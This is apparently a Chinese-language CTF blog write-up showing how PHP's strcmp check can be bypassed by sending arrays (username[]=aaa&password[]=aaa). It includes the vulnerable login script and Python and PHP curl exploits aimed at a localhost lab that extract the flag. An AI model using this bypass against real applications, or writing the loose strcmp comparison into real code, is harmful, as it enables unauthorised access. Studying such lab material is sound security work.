[PHP] Strcmp函數繞過

2016, Nov 21    
<?php
include('flag.php');

$username = isset($_GET['username']) ? $_GET['username'] : '';
$password = isset($_GET['password']) ? $_GET['password'] : '';

if( strcmp($username,$flag) == 0 && strcmp($password,$flag) == 0 )
{
	echo $flag;
}
else
{
	echo 'try again';
}

show_source(__FILE__);
?>

漏洞出現於

if( strcmp($username, $flag) == 0 && strcmp($password, $flag) == 0 )

PHP Strcmp函數 可利用輸入陣列繞過檢查

附上 payload

payload  = username[]=aaa&password[]=aaa

成功後頁面 成功後頁面

附上Exploit

python版本

#coding=utf-8
import requests
import re
host = 'http://127.0.0.1/ctf/strcmp.php'
port = 80

payload = 'username[]=aaa&password[]=aaa'
req = requests.post(host,params=payload)
dump = req.text
pat = re.compile(r'c+.*}')  # + 代表開頭 *代表結尾
flag  = re.findall(pat, str(dump))
print (flag[0])
※2019-08-09 Update

PHP GET版本

#!/usr/bin/php -q
<?php

$url = "http://localhost/CTF/strcmp.php";

$payload = '?username[]=aaa&password[]=aaa';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url . $payload);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);

$result = curl_exec($ch);

curl_close ($ch);

preg_match('/CTF{.*}/',$result,$matches) . PHP_EOL;
echo $matches[0] . PHP_EOL;  //echo flag

?>

PHP POST版本

#!/usr/bin/php -q
<?php

$url = "http://localhost/CTF/strcmp.php";

$payload = array(
	'username[]' => 'aaa',
	'password[]' => 'aaa'
	);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST,true);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST,'POST');
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload) );
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);

$result = curl_exec($ch);

curl_close ($ch);

preg_match('/CTF{.*}/',$result,$matches) . PHP_EOL;
echo $matches[0] . PHP_EOL;
?>